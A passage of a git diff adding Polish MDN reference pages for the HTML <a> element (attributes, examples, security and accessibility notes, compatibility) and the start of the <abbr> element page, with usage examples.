w nazwach plików, a przeglądarki odpowiednio dostosują sugerowaną nazwę. + <div class="note"><strong>Uwagi:</strong> + <ul> + <li>Ten atrybut działa tylko dla <a href="https://developer.mozilla.org/pl/docs/Web/Security/Same-origin_policy">adresów URL tego samego pochodzenia</a>.</li> + <li>Chociaż adresy URL HTTP muszą być w tym samym miejscu pochodzenia, obiekt <a href="https://developer.mozilla.org/pl/docs/Web/API/URL/createObjectURL"><code>blob:</code> URLs</a> oraz <a href="https://developer.mozilla.org/pl/docs/Web/HTTP/Basics_of_HTTP/Data_URIs"><code>data:</code> URLs</a> są dozwolone, aby można było pobierać treści generowane przez JavaScript, takie jak obrazy utworzone w aplikacji internetowej do edycji obrazów.</li> + <li>Jeżeli nagłówek HTTP <a href="https://developer.mozilla.org/pl/docs/Web/HTTP/Headers/Content-Disposition"><code>Content-Disposition:</code></a> podaje inną nazwę pliku niż ten atrybut, nagłówek HTTP ma pierwszeństwo przed tym atrybutem.</li> + <li>Jeśli <code>Content-Disposition:</code> jest ustawione na <code>inline</code>, Firefox nadaje priorytet <code>Content-Disposition</code>, podobnie jak w przypadku nazwy pliku, podczas gdy Chrome nadaje priorytet atrybutowi <code>download</code>.</li> + </ul> + </div> + </dd> + <dt>{{HTMLAttrDef("href")}}</dt> + <dd>Zawiera URL lub fragment URL do którego wskazuje hiperłącze.</dd> + <dd>Fragment adresu URL jest nazwą poprzedzoną znakiem skrótu (<code>#</code>), który określa wewnętrzną lokalizację docelową ({{HTMLAttrxRef("id")}} elementu HTML) w bieżącym dokumencie. Adresy URL nie są ograniczone do dokumentów opartych na sieci Web, ale mogą korzystać z dowolnego protokołu obsługiwanego przez przeglądarkę. Na przykład, <a class="external" href="https://en.wikipedia.org/wiki/File_URI_scheme"><code>file:</code></a>, <code>ftp:</code>, oraz <code>mailto:</code> działają w większości przeglądarek. + <div class="note"> + <p><strong>Uwaga:</strong> Możesz użyć <code>href="#top"</code> lub pusty fragment <code>href="#"</code> aby przejść do górnej części biężącej strony. <a href="https://www.w3.org/TR/html5/single-page.html#scroll-to-fragid">Takie zachowanie jest określone przez HTML5</a>.</p> + </div> + </dd> + <dt>{{HTMLAttrDef("hreflang")}}</dt> + <dd>Ten atrybut wskazuje język ludzki powiązanego zasobu. Jest to atrybut czysto doradczy, bez wbudowanych funkcji. Dozwolone wartości są określane przez <a class="external" href="https://www.ietf.org/rfc/bcp/bcp47.txt" title="Tags for Identifying Languages">BCP47</a>.</dd> + <dt>{{HTMLAttrDef("ping")}}</dt> + <dd>Zawiera oddzieloną spacją listę adresów URL, do których, gdy następuje hiperłącze, żądania {{HTTPMethod("POST")}} z oznaczeniem <code>PING</code> będą wysyłane przez przeglądarkę (w tle). Najczęściej używane do śledzenia.</dd> + <dt>{{HTMLAttrDef("referrerpolicy")}} {{Experimental_Inline}}</dt> + <dd>Wskazuje który <a href="https://developer.mozilla.org/pl/docs/Web/HTTP/Headers/Referer">odsyłacz</a> należy wysłać podczas pobierania adresu URL: + <ul> + <li><code>'no-referrer'</code> oznacza, że <code>Referer:</code> nagłówek nie zostanie wysłany.</li> + <li><code>'no-referrer-when-downgrade'</code> oznacza, że <code>Referer:</code> nagłówek nie zostanie wysłany podczas nawigacji do miejsca pochodzenia bez HTTPS. Jest to zachowanie domyślne.</li> + <li><code>'origin'</code> oznacza, że odsyłającym będzie <a href="https://developer.mozilla.org/pl/docs/Glossary/Origin">pochodzenie</a> strony, nie włączając informacji po domenie.</li> + <li><code>'origin-when-cross-origin'</code> oznacza, że nawigacja do innych miejsc pochodzenia będzie ograniczona do schematu, hosta i portu, podczas gdy nawigacja w tym samym miejscu pochodzenia będzie obejmować ścieżkę strony odsyłającej.</li> + <li><code>'strict-origin-when-cross-origin'</code></li> + <li><code>'unsafe-url'</code> oznacza, że odsyłacz będzie zawierał pochodzenie i ścieżkę, ale nie fragment, hasło, lub nazwę użytkownika. Jest to niebezpieczne, ponieważ może spowodować przeciek danych z bezpiecznych adresów URL do niepewnych.</li> + </ul> + </dd> + <dt>{{HTMLAttrDef("rel")}}</dt> + <dd>Określa relację obiektu docelowego z obiektem łącza. Wartość jest oddzieloną spacjami listą <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Link_types">typów łączy</a>.</dd> + <dt>{{HTMLAttrDef("target")}}</dt> + <dd>Określa, gdzie ma być wyświetlany link URL. Jest to nazwa lub słowo kluczowe <em>kontekstu przeglądania</em>, zakładki, okna lub <code><iframe></code>. Następujące słowa kluczowe mają specjalne znaczenie: + <ul> + <li><code>_self</code>: Wczytuje adres URL do tego samego kontekstu przeglądania, co bieżący. Jest to zachowanie domyślne.</li> + <li><code>_blank</code>: Wczytuje adres URL w nowy kontekst przeglądania. Zazwyczaj jest to zakładka, ale użytkownicy mogą skonfigurować przeglądarkę tak, aby korzystała z nowych okien.</li> + <li><code>_parent</code>: Ładuje adres URL do nadrzędnego kontekstu przeglądania bieżącego. Jeśli nie ma rodzica, zachowuje się tak samo jak <code>_self</code>.</li> + <li><code>_top</code>: Wczytuje adres URL w kontekst przeglądania na najwyższym poziomie (czyli "najwyższy" kontekst przeglądania, który jest przodkiem obecnego i nie ma rodzica). Jeśli nie ma rodzica, zachowuje się tak samo jak <code>_self</code>.</li> + </ul> + + <div class="note"> + <p><strong>Uwaga:</strong> Podczas używania <code>target</code>, rozważ dodanie <code>rel="noreferrer"</code>, aby uniknąć wykorzystania API <code>window.opener</code>.</p> + </div> + + <div class="note"> + <p><strong>Uwaga:</strong> Linkowanie do innej strony przy użyciu <code>target="_blank"</code> uruchomi nową stronę na tym samym procesie co Twoja strona. Jeśli nowa strona wykonuje duże skrypty JS, wydajność Twojej strony może ucierpieć. Aby tego uniknąć, użyj <code>rel="noopener"</code>.</p> + </div> + </dd> + <dt>{{HTMLAttrDef("type")}}</dt> + <dd>Określa typ nośnika w postaci {{Glossary("typu MIME")}} dla połączonego adresu URL. Jest to czysto doradcze, bez wbudowanych funkcji.</dd> +</dl> + +<h3 id="Atrybuty_przestarzałe">Atrybuty przestarzałe</h3> + +<dl> + <dt>{{HTMLAttrDef("charset")}}{{Obsolete_Inline("HTML5")}}</dt> + <dd>Ten atrybut definiuje <a href="https://developer.mozilla.org/pl/docs/Glossary/character_encoding">kodowanie znaków</a> dla powiązanego adresu URL. Wartość ta powinna być spacją i/lub przecinkiem z listy zbiorów znaków zdefiniowanych w <a class="external" href="https://tools.ietf.org/html/rfc2045">RFC 2045</a>. Domyślną wartością jest <code>ISO-8859-1</code>. + <div class="note"> + <p><strong>Uwaga dotycząca zastosowania:</strong> Ten atrybut jest przestarzały w HTML5 i <strong>nie powinien być używany przez twórców</strong>. Aby uzyskać jego efekt, użyj nagłówka HTTP <a href="https://developer.mozilla.org/pl/docs/Web/HTTP/Headers/Content-Type"><code>Content-Type:</code></a> na linkowanym adresie URL.</p> + </div> + </dd> + <dt>{{HTMLAttrDef("coords")}} tylko{{HTMLVersionInline(4)}}{{Obsolete_Inline("HTML5")}}</dt> + <dd>Do wykorzystania z atrybutem <code>shape</code> opisanym niżej, atrybut ten używał oddzielonej przecinkami listy liczb w celu określenia współrzędnych odnośnika na stronie.</dd> + <dt>{{HTMLAttrDef("name")}} tylko{{HTMLVersionInline(4)}}{{Obsolete_Inline("HTML5")}}</dt> + <dd>Ten atrybut był wymagany w przypadku kotwic określających możliwą lokalizację docelową na stronie. W HTML 4.01, <code>id</code> oraz <code>name</code> mogą być używane jednocześnie w elemencie <code><a></code>, o ile mają identyczne wartości. + <div class="note"> + <p><strong>Uwaga dotycząca zastosowania:</strong> Ten atrybut jest przestarzały w HTML5, zamiast niego użyj globalnego atrybutu {{HTMLAttrxRef("id")}}.</p> + </div> + </dd> + <dt>{{HTMLAttrDef("rev")}} tylko{{HTMLVersionInline(4)}}{{Obsolete_Inline("HTML5")}}</dt> + <dd>Ten atrybut określa łącze odwrotne, odwrotną zależność atrybutu <strong>rel</strong>. Został wycofany ze względu na to, że był bardzo mylący. + <div class="note"><strong>Uwaga</strong>: Obecnie specyfikacja W3C HTML 5.2 stwierdza, że <code>rev</code> nie jest już przestarzałe, podczas gdy Living Standard od WHATWG nadal ma to oznaczone jako przestarzałe. Dopóki ta rozbieżność nie zostanie wyjaśniona, zalecane jest uznawać go jako atrybut przestarzały.</div> + </dd> + <dt>{{HTMLAttrDef("shape")}} tylko{{HTMLVersionInline(4)}}{{Obsolete_Inline("HTML5")}}</dt> + <dd>Atrybut ten został użyty do zdefiniowania regionu dla hiperłączy w celu utworzenia mapy obrazu. Wartości to <code>circle</code>, <code>default</code>, <code>polygon</code>, oraz <code>rect</code>. Format atrybutu <strong>coords</strong> zależy od wartości kształtu. Dla <code>circle</code> wartością jest <code>x,y,r</code> gdzie <code>x</code> oraz <code>y</code> są współrzędnymi pikseli dla środka okręgu, a <code>r</code> jest wartością promienia w pikselach. Dla <code>rect</code> atrybut <strong>coords</strong> powinien wynosić <code>x,y,w,h</code>. Wartości <code>x,y</code> definiują lewy górny narożnik prostokąta, natomiast <code>w</code> oraz <code>h</code> odpowiednio szerokość i wysokość. Wartość <code>polygon</code> dla <strong>kształtu</strong> wymaga wartości <code>x1,y1,x2,y2,...</code> dla <strong>coords</strong>. Każda z par <code>x,y</code> określa punkt wielokąta, z kolejnymi punktami połączonymi liniami prostymi i ostatnim punktem połączonym z pierwszym. Wartość <code>default</code> dla kształtu wymaga użycia całego zamkniętego obszaru, zazwyczaj obrazu. + <div class="note"><strong>Uwaga:</strong> Użyj atrybutu {{HTMLAttrxRef("usemap", "img")}} dla elementu {{HTMLElement("img")}} i powiązanego elementu {{HTMLElement("map")}} aby zdefiniować hotspoty zamiast atrybutu <code>shape</code>.</div> + </dd> +</dl> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Odnośnik_do_lokalizacji_zewnętrznej">Odnośnik do lokalizacji zewnętrznej</h3> + +<pre class="brush: html"><!-- kotwica tworząca odnośnik do zewnętrznego pliku --> +<a href="<a class="linkification-ext" href="http://www.mozilla.com/" title="Linkification: http://www.mozilla.com/">http://www.mozilla.com/</a>"> +Odnośnik zewnętrzny +</a> +</pre> + +<h4 id="Rezultat" name="Rezultat">Rezultat</h4> + + +<p><a class="external" href="http://www.mozilla.com/">Odnośnik zewnętrzny</a></p> + +<h3 id="Odnośnik_do_innej_sekcji_na_tej_samej_stronie">Odnośnik do innej sekcji na tej samej stronie</h3> + +<pre class="brush: html"><!-- odnośniki do elementów na tej stonie z id="attr-href" --> +<a href="#attr-href"> +Opis łączy na tej samej stronie +</a></pre> + +<h4 id="Rezultat_2">Rezultat</h4> + +<p><a href="#attr-href">Opis łączy na tej samej stronie</a></p> + +<h3 id="Tworzenie_klikalnego_obrazu">Tworzenie klikalnego obrazu</h3> + +<p>W tym przykładzie jako odnośnika do strony głównej MDN użyto obrazu. Strona główna otworzy się w nowym kontekście przeglądania, czyli w nowej stronie lub nowej karcie.</p> + +<pre class="brush: html"><a href="https://developer.mozilla.org/pl/" target="_blank"> + <img src="https://mdn.mozillademos.org/files/6851/mdn_logo.png" + alt="MDN logo" /> +</a> +</pre> + +<h4 id="Rezultat_3">Rezultat</h4> + +<p><a href="https://developer.mozilla.org/pl/"><img alt="MDN logo" src="https://mdn.mozillademos.org/files/6851/mdn_logo.png"></a></p> + +<h3 id="Tworzenie_odnośnika_email">Tworzenie odnośnika email</h3> + +<p>Często tworzy się linki, które otwierają się w programie pocztowym użytkownika, aby umożliwić mu wysłanie nowej wiadomości. Odbywa się to za pomocą odnośnika <code>mailto:</code>. Oto prosty przykład:</p> + +<pre class="brush: html"><a href="mailto:nowhere@mozilla.org">Wyślij email do nikąd</a></pre> + +<h4 id="Rezultat_4">Rezultat</h4> + +<p><a href="mailto:nowhere@mozilla.org">Wyślij email do nikąd</a></p> + +<p>Aby uzyskać dodatkowe informacje dotyczące schematu adresu URL <code>mailto</code>, takie jak temat, treść, lub inne z góry określone treści, zobacz <a href="https://developer.mozilla.org/pl/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#E-mail_links">Odnośniki email</a> lub {{RFC(6068)}}.</p> + +<h3 id="Tworzenie_łącza_telefonicznego">Tworzenie łącza telefonicznego</h3> + +<p>Oferowanie łącz telefonicznych jest pomocne dla użytkowników przeglądających dokumenty internetowe a ich urządzenie jest powiązane z telefonem.</p> + +<pre class="brush: html"><a href="tel:+491570156">+49 157 0156</a></pre> + +<p>Dodatkowe informację na temat schematu URL <code>tel</code> można znaleźć w {{RFC(3966)}}.</p> + +<h3 id="Użycie_atrybutu_download_do_zapisania_<canvas>_jako_PNG">Użycie atrybutu <code>download</code> do zapisania <code><canvas></code> jako PNG</h3> + +<p>Jeśli chcesz pozwolić użytkownikom na pobranie elementu HTML {{HTMLElement("canvas")}} jako obrazu, możesz utworzyć odnośnik z atrybutem <code>download</code> i danymi płótna jako URL pliku:</p> + +<pre class="brush: js">var link = document.createElement('a'); +link.textContent = 'download image'; + +link.addEventListener('click', function(ev) { + link.href = canvas.toDataURL(); + link.download = "mypainting.png"; +}, false); + +document.body.appendChild(link);</pre> + +<p>Można to zobaczyć w praktyce na stronie <a href="https://jsfiddle.net/codepo8/V6ufG/2/">jsfiddle.net/codepo8/V6ufG/2/</a>.</p> + +<h2 id="Uwagi">Uwagi</h2> + +<p>HTML 3.2 definiuje tylko atrybuty <code>name</code>, <code>href</code>, <code>rel</code>, <code>rev</code> oraz <code>title</code>.</p> + +<h2 id="Kwestie_dotyczące_bezpieczeństwa_i_prywatności">Kwestie dotyczące bezpieczeństwa i prywatności</h2> + +<p>Chociaż elementy <code><a></code> mają wiele niewinnych zastosowań, mogą mieć niepożądane konsekwencje dla bezpieczeństwa i prywatności użytkownika. Zobacz <a href="https://developer.mozilla.org/pl/docs/Web/Security/Referer_header:_privacy_and_security_concerns">Nagłówek Referer: obawy dotyczące prywatności i bezpieczeństwa</a>, aby uzyskać więcej informacji i środków zaradczych.</p> + +<h2 id="Kwestie_dostępności">Kwestie dostępności</h2> + +<h3 id="wydarzenia_onclick">wydarzenia <code>onclick</code></h3> + +<p>Znaczniki Kotwicy są często nadużywane przez zdarzenie <code>onclick</code> do tworzenia pseudo-przycisków przez ustawienie <strong>href</strong> na <code>"#"</code> lub <code>"javascript:void(0)"</code>, aby zapobiec odświeżaniu strony.</p> + +<p>Wartości te powodują nieoczekiwane zachowanie podczas kopiowania/przenoszenia linków, otwierania odnośników w nowej zakładce/oknie, dodawaniu do zakładek i gdy JavaScript jest nadal pobierany, w stanie błędu, lub wyłączony. To również przekazuje nieprawidłową semantykę do technologii wspomagających (np. czytniki ekranu). W takich przypadkach zaleca się użycie przycisku {{HTMLElement("button")}} instead. Ogólnie rzecz biorąc, należy używać kotwicy tylko do nawigacji przy użyciu odpowiedniego adresu URL.</p> + +<h3 id="Linki_zewnętrzne_i_łącza_do_zasobów_nie-HTML">Linki zewnętrzne i łącza do zasobów nie-HTML</h3> + +<p>Oba odnośniki, które otwierają się w nowej zakładce lub oknie poprzez deklarację <code>target="_blank"</code> oraz linki do zasobów plików, których wartość <code>href</code> wskazuje na źródło pliku powinny zawierać wskaźnik zachowania, które wystąpi po aktywacji łącza.</p> + +<p>Osoby o słabym wzroku, które poruszają się za pomocą technologii odczytu ekranowego lub które mają problemy poznawcze mogą zostać zmylone, gdy nieoczekiwanie otworzy się nowa karta, okno lub aplikacja. Starsze wersje oprogramowania do czytania na ekranie mogą nawet nie ogłaszać zachowania.</p> + +<h4 id="Odnośnik_otwierający_nową_kartę_lub_okno">Odnośnik otwierający nową kartę lub okno</h4> + +<pre class="brush: html"><a target="_blank" href="https://www.wikipedia.org/">Wikipedia (otwiera się w nowym oknie)</a> +</pre> + +<h4 id="Odnośnik_do_zasobów_nie-HTML">Odnośnik do zasobów nie-HTML</h4> + +<pre class="brush: html"><a target="_blank" href="2017-annual-report.ppt">Raport Roczny 2017 (PowerPoint)</a> +</pre> + +<p>Jeśli zamiast tekstu używana jest ikona do oznaczenia tego rodzaju zachowania odnośników, upewnij się, że zawiera ona {{HTMLAttrxRef("alt", "img", "opis alternatywny", "true")}}.</p> + +<ul> + <li><a href="https://webaim.org/techniques/hypertext/hypertext_links">WebAIM: Links and Hypertext - Hypertext Links</a></li> + <li><a href="https://developer.mozilla.org/pl/docs/Web/Accessibility/Understanding_WCAG/Understandable#Guideline_3.2_—_Predictable_Make_Web_pages_appear_and_operate_in_predictable_ways">MDN Zrozumienie WCAG, Wytyczna 3.2 wyjaśnienie</a></li> + <li><a href="https://www.w3.org/TR/WCAG20-TECHS/G200.html">G200: Opening new windows and tabs from a link only when necessary | W3C Techniques for WCAG 2.0</a></li> + <li><a href="https://www.w3.org/TR/WCAG20-TECHS/G201.html">G201: Giving users advanced warning when opening a new window | W3C Techniques for WCAG 2.0</a></li> +</ul> + +<h3 id="Odnośniki_pomijające">Odnośniki pomijające</h3> + +<p>Link pomijający, znany również jako skipnav, jest elementem <code>a</code> umieszczonym jak najbliżej elementu otwarcia {{HTMLElement("body")}}, który odsyła do początku głównej zawartości strony. Odnośnik ten umożliwia ominięcie treści powtarzanej na wielu stronach, takich jak nagłówek strony i podstawowa nawigacja.</p> + +<p>Łącza pomijające są szczególnie przydatne dla osób, które poruszają się za pomocą technologii wspomagających, takich jak przełączniki, komendy głosowe, ustne pałeczki/różdżki, gdzie poruszanie się przez powtarzające się łącza może być pracochłonnym zadaniem.</p> + +<ul> + <li><a href="https://webaim.org/techniques/skipnav/">WebAIM: "Skip Navigation" Links</a></li> + <li><a href="https://a11yproject.com/posts/skip-nav-links/">How–to: Use Skip Navigation links - The A11Y Project</a></li> + <li><a href="https://developer.mozilla.org/pl/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.4_—_Navigable_Provide_ways_to_help_users_navigate_find_content_and_determine_where_they_are">MDN Zrozumienie WCAG, Wytyczna 2.4 wyjaśnienie</a></li> + <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-skip.html">Understanding Success Criterion 2.4.1 | W3C Understanding WCAG 2.0</a></li> +</ul> + +<h3 id="Odległość">Odległość</h3> + +<p>Duża ilość interaktywnych treści—w tym kotwic—umieszczonych w bliskiej odległości od siebie powinna mieć miejsce na ich oddzielenie. Odstęp ten jest korzystny dla osób, które doświadczają problemów z układem ruchu, które mogą przypadkowo aktywować błędne treści interaktywne podczas nawigacji.</p> + +<p>Odstępy mogą być tworzone przy użyciu właściwości CSS, takich jak {{CSSxRef("margin")}}.</p> + +<ul> + <li><a href="https://axesslab.com/hand-tremors/">Hand tremors and the giant-button-problem - Axess Lab</a></li> +</ul> + +<h3 id="Klikanie_i_focus">Klikanie i focus</h3> + +<p>To, czy kliknięcie na {{HTMLElement("a")}} powoduje, że przechodzi ono w tryb skupienia, zależy od przeglądarki i systemu operacyjnego.</p> + +<table class="standard-table"> + <caption>Czy kliknięcie na {{HTMLElement("a")}} spowoduje tryb skupienia?</caption> + <thead> + <tr> + <th scope="row">Przeglądarki stacjonarne</th> + <th scope="col">Windows 8.1</th> + <th scope="col">OS X 10.9</th> + </tr> + </thead> + <tbody> + <tr> + <td>Firefox 30.0</td> + <td style="background-color: LawnGreen;">Tak</td> + <td style="background-color: LawnGreen;">Tak</td> + </tr> + <tr> + <td>Chrome ≥39<br> + (<a href="https://code.google.com/p/chromium/issues/detail?id=388666" title="Issue 388666: Focus anchor (A) elements on mousedown">Chromium bug 388666</a>)</td> + <td style="background-color: LawnGreen;">Tak</td> + <td style="background-color: LawnGreen;">Tak</td> + </tr> + <tr> + <td>Safari 7.0.5</td> + <td style="background-color: silver;">Nie dotyczy</td> + <td style="background-color: yellow;">Tylko jeśli posiada <code>tabindex</code></td> + </tr> + <tr> + <td>Internet Explorer 11</td> + <td style="background-color: LawnGreen;">Tak</td> + <td style="background-color: silver;">Nie dotyczy</td> + </tr> + <tr> + <td>Presto (Opera 12)</td> + <td style="background-color: LawnGreen;">Tak</td> + <td style="background-color: LawnGreen;">Tak</td> + </tr> + </tbody> +</table> + +<table class="standard-table"> + <caption>Czy stuknięcie w {{HTMLElement("a")}} spowoduje tryb skupienia?</caption> + <thead> + <tr> + <th scope="row">Przeglądarki mobilne</th> + <th scope="col">iOS 7.1.2</th> + <th scope="col">Android 4.4.4</th> + </tr> + </thead> + <tbody> + <tr> + <td>Safari Mobile</td> + <td style="background-color: yellow;">Tylko jeśli posiada <code>tabindex</code></td> + <td style="background-color: silver;">Nie dotyczy</td> + </tr> + <tr> + <td>Chrome 35</td> + <td>???</td> + <td style="background-color: yellow;">Tylko jeśli posiada <code>tabindex</code></td> + </tr> + </tbody> +</table> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("Referrer Policy", "#referrer-policy-delivery-referrer-attribute", "referrer attribute")}}</td> + <td>{{Spec2("Referrer Policy")}}</td> + <td>Dodano atrybut <code>referrer</code>.</td> + </tr> + <tr> + <td>{{SpecName("HTML WHATWG", "text-level-semantics.html#the-a-element", "<a>")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("HTML5 W3C", "text-level-semantics.html#the-a-element", "<a>")}}</td> + <td>{{Spec2("HTML5 W3C")}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("HTML4.01", "struct/links.html#h-12.2", "<a>")}}</td> + <td>{{Spec2("HTML4.01")}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarką">Kompatybilność z przeglądarką</h2> + + + +<p>{{Compat("html.elements.a")}}</p> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>Inne elementy zawierające <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Text_level_semantics_conveying_elements">semantykę na poziomie tekstu</a>: {{HTMLElement("abbr")}}, {{HTMLElement("em")}}, {{HTMLElement("strong")}}, {{HTMLElement("small")}}, {{HTMLElement("cite")}}, {{HTMLElement("q")}}, {{HTMLElement("dfn")}}, {{HTMLElement("time")}}, {{HTMLElement("code")}}, {{HTMLElement("var")}}, {{HTMLElement("samp")}}, {{HTMLElement("kbd")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{HTMLElement("b")}}, {{HTMLElement("i")}}, {{HTMLElement("mark")}}, {{HTMLElement("ruby")}}, {{HTMLElement("rp")}}, {{HTMLElement("rt")}}, {{HTMLElement("bdo")}}, {{HTMLElement("span")}}, {{HTMLElement("br")}}, {{HTMLElement("wbr")}}.</li> +</ul> diff --git a/files/pl/web/html/element/abbr/index.html b/files/pl/web/html/element/abbr/index.html new file mode 100644 index 0000000000..0dfe90c52b --- /dev/null +++ b/files/pl/web/html/element/abbr/index.html @@ -0,0 +1,200 @@ +--- +title: '<abbr>: Element Skrótu' +slug: Web/HTML/Element/abbr +tags: + - Akronim + - Definicje + - Element + - HTML + - HTML semantyka na poziomie tekstu + - Reference + - Web + - semantyka + - skrót +translation_of: Web/HTML/Element/abbr +--- +<p>{{HTMLRef}}</p> + +<p><span class="seoSummary"><strong>Element skrótu HTML </strong>(<strong><code><abbr></code></strong>) reprezentuje skrót lub akronim; opcjonalny atrybut {{htmlattrxref("title")}} może stanowić rozwinięcie lub opis skrótu.</span> Jeśli występuje, <code>title</code> musi zawierać pełny opis i nic więcej.</p> + +<p>Artykuł <em><a href="https://developer.mozilla.org/pl/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Jak oznaczać skróty i uczynić je zrozumiałymi</a></em> jest przewodnikiem do nauki używania <code><abbr></code> i elementów pokrewnych.</p> + +<table class="properties"> + <tbody> + <tr> + <th><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories">Kategorie treści</a></th> + <td><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Flow_content">Treść płynna</a>, <a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Treść frazowania</a>, zawartość zdzieralna.</td> + </tr> + <tr> + <th>Dozwolona zawartość</th> + <td><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Treść frazowania</a></td> + </tr> + <tr> + <th>Pominięcie znacznika</th> + <td>Brak, zarówno znacznik początkowy jak i końcowy są obowiązkowe.</td> + </tr> + <tr> + <th>Dozwoleni rodzice</th> + <td>Każdy element, który akceptuje <a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Phrasing_content">zawartość frazowania</a></td> + </tr> + <tr> + <th>Dozwolone role ARIA</th> + <td>Każdy</td> + </tr> + <tr> + <th>Interfejs DOM</th> + <td>{{domxref("HTMLElement")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Atrybuty">Atrybuty</h2> + +<p>Ten element obsługuje tylko <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Global_attributes">atrybuty globalne</a>. Atrybut {{htmlattrxref("title")}} ma specyficzne znaczenie semantyczne, gdy jest używany z elementem <code><abbr></code>; <em>musi</em> zawierać pełny opis czytelny dla człowieka lub rozwinięcie skrótu. Tekst ten jest często prezentowany przez przeglądarki jako etykieta pomocnicza, gdy kursor myszy jest zawieszony nad elementem.</p> + +<p>Każdy element <code><abbr></code>, którego używasz jest niezależny od wszystkich innych; podanie <code>title</code> dla jednego elementu nie załącza automatycznie tego samego rozszerzenia tekstu do innych o tej samej treści.</p> + +<h2 id="Uwagi_dotyczące_użycia">Uwagi dotyczące użycia</h2> + +<h3 id="Typowe_zastosowania">Typowe zastosowania</h3> + +<p>Z pewnością nie jest wymagane, aby wszystkie skróty były oznaczane przy użyciu <code><abbr></code>. Jest jednak kilka przypadków, w których jest to pomocne:</p> + +<ul> + <li>Jeśli używany jest skrót i chcesz zapewnić rozszerzenie lub definicję poza obiegiem treści dokumentu, użyj <code><abbr></code> z odpowiednim atrybutem {{htmlattrxref("title")}}.</li> + <li>Aby zdefiniować skrót, który może być nieznany czytelnikowi, należy przedstawić termin używając <code><abbr></code> oraz atrybutu <code>title</code> lub tekstu liniowego podającego definicję.</li> + <li>W przypadku, gdy należy zwrócić uwagę semantycznie na obecność skrótu w tekście, przydatny jest element <code><abbr></code>. To z kolei może być użyte do celów stylizacyjnych lub skryptowych.</li> + <li>Możesz użyć <code><abbr></code> w porozumieniu z {{HTMLElement("dfn")}} aby ustalić definicje terminów, które są skrótami lub akronimami. Zobacz przykład {{anch("Definiowanie skrótu")}} poniżej.</li> +</ul> + +<h3 id="Uwagi_gramatyczne">Uwagi gramatyczne</h3> + +<p>W języka z {{interwiki("wikipedia", "grammatical number")}} (czyli w tych językach, w których liczba elementów wpływa na gramatykę zdania), użyj tej samej liczby gramatycznej w atrybucie <code>title</code>, co wewnątrz elementu <code><abbr></code>. Jest to szczególnie ważne w językach z więcej niż dwoma liczbami, takich jak Arabski, ale jest również istotne w języku angielskim.</p> + +<h2 id="Domyślna_stylizacja">Domyślna stylizacja</h2> + +<p>Celem tego znacznika jest jedynie wygoda dla autora i wszystkie przeglądarki domyślnie wyświetlają go w linii ({{cssxref('display')}}<code>: inline</code>), choć jego stylizacja różni się w zależności od przeglądarki:</p> + +<ul> + <li>Niektóre przeglądarki, takie jak Internet Explorer, nie stylizują go inaczej niż elementu {{HTMLElement("span")}}.</li> + <li>Opera, Firefox i inne dodają kropkowane podkreślenie zawartości elementu.</li> + <li>Kilka przeglądarek nie tylko dodaje kropkowane podkreślenie, ale także dodaje do nich wariant "small-caps"; aby uniknąć tej stylizacji, dodanie czegoś w rodzaju {{cssxref('font-variant')}}<code>: none</code> w CSS załatwia tę sprawę.</li> +</ul> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Oznaczanie_skrótu_semantycznie">Oznaczanie skrótu semantycznie</h3> + +<p>Aby oznaczyć skrót bez podania rozwinięcia lub opisu, po prostu użyj <code><abbr></code> bez żadnych atrybutów, jak widać w tym przykładzie.</p> + +<h4 id="HTML">HTML</h4> + +<pre class="brush: html"><p>Używanie <abbr>HTML</abbr> jest fajne i proste!</p></pre> + +<h4 id="Rezultat">Rezultat</h4> + +<p>Używanie <abbr>HTML</abbr> jest fajne i proste!</p> + +<h3 id="Stylistyka_skrótów">Stylistyka skrótów</h3> + +<p>Możesz użyć CSS, aby ustawić własny styl skrótów, jak pokazano w tym prostym przykładzie.</p> + +<h4 id="HTML_2">HTML</h4> + +<pre class="brush: html"><p>Używając <abbr>CSS</abbr>, możesz stylizować swoje skróty!</p></pre> + +<h4 id="CSS">CSS</h4> + +<pre class="brush: css">abbr { + font-variant: all-small-caps; +}</pre> + +<h4 id="Rezultat_2">Rezultat</h4> + +<p>Używając <abbr style="font-variant: all-small-caps;">CSS</abbr>, możesz stylizować swoje skróty!</p> + +<h3 id="Dostarczanie_rozszerzenia">Dostarczanie rozszerzenia</h3> + +<p>Dodanie atrybutu {{htmlattrxref("title")}} pozwala na rozwinięcie lub zdefiniowanie skrótu lub akronimu.</p> + +<h4 id="HTML_3">HTML</h4> + +<pre class="brush: html"><p>Funkcję rejestru nazw internetowych w domenie .pl pełni <abbr title="Naukowa i Akademicka Śieć Komputerowa">NASK</abbr>.</p></pre> + +<h4 id="Rezultat_3">Rezultat</h4> + +<p>Funkcję rejestru nazw internetowych w domenie .pl pełni <abbr title="Naukowa i Akademicka Śieć Komputerowa">NASK</abbr>.</p> + +<h3 id="Definiowanie_skrótu">Definiowanie skrótu</h3> + +<p>Możesz użyć <code><abbr></code> w połączeniu z {{HTMLElement("dfn")}}, aby bardziej formalnie zdefiniować skrót, jak pokazano tutaj.</p> + +<h4 id="HTML_4">HTML</h4> + 